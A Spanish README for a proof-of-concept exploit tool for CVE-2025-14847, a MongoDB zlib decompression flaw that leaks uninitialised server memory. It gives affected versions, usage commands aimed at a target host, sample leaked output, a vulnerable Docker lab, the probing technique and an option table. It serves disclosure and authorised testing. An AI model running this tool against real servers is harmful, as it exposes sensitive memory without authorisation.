
Exploit de prueba de concepto para CVE-2025-14847, una vulnerabilidad de descompresión zlib de MongoDB que filtra memoria de servidor no inicializada a través de documentos BSON manipulados.
CVE-2025-14847 - Explotación de fuga de memoria no autenticada en MongoDB
Un exploit de prueba de concepto para la vulnerabilidad de descompresión zlib de MongoDB que permite a atacantes no autenticados filtrar memoria sensible del servidor.
Un fallo en la descompresión de mensajes zlib de MongoDB devuelve el tamaño del búfer asignado en lugar de la longitud real de los datos descomprimidos. Esto permite a los atacantes leer memoria no inicializada mediante:
uncompressedSize inflada| Versión | Afectada | Corregida |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
Se incluye un archivo Docker Compose para levantar una instancia vulnerable de MongoDB:
docker-compose up -d
python3 mongobleed.py
El exploit crea documentos BSON con campos de longitud inflados. Cuando el servidor analiza estos documentos, lee nombres de campo de la memoria no inicializada hasta encontrar un byte nulo. Cada sonda en un desplazamiento diferente puede filtrar diferentes regiones de memoria.
Los datos filtrados pueden incluir:
/proc (meminfo, estadísticas de red)Joe Desimone - x.com/dez_
Esta herramienta es solo para pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal.
| Opción | Por Defecto | Descripción |
|---|
--host | localhost | Host MongoDB objetivo |
--port | 27017 | Puerto MongoDB objetivo |
--min-offset | 20 | Longitud mínima del documento a sondear |
--max-offset | 8192 | Longitud máxima del documento a sondear |
--output | leaked.bin | Archivo de salida para los datos filtrados |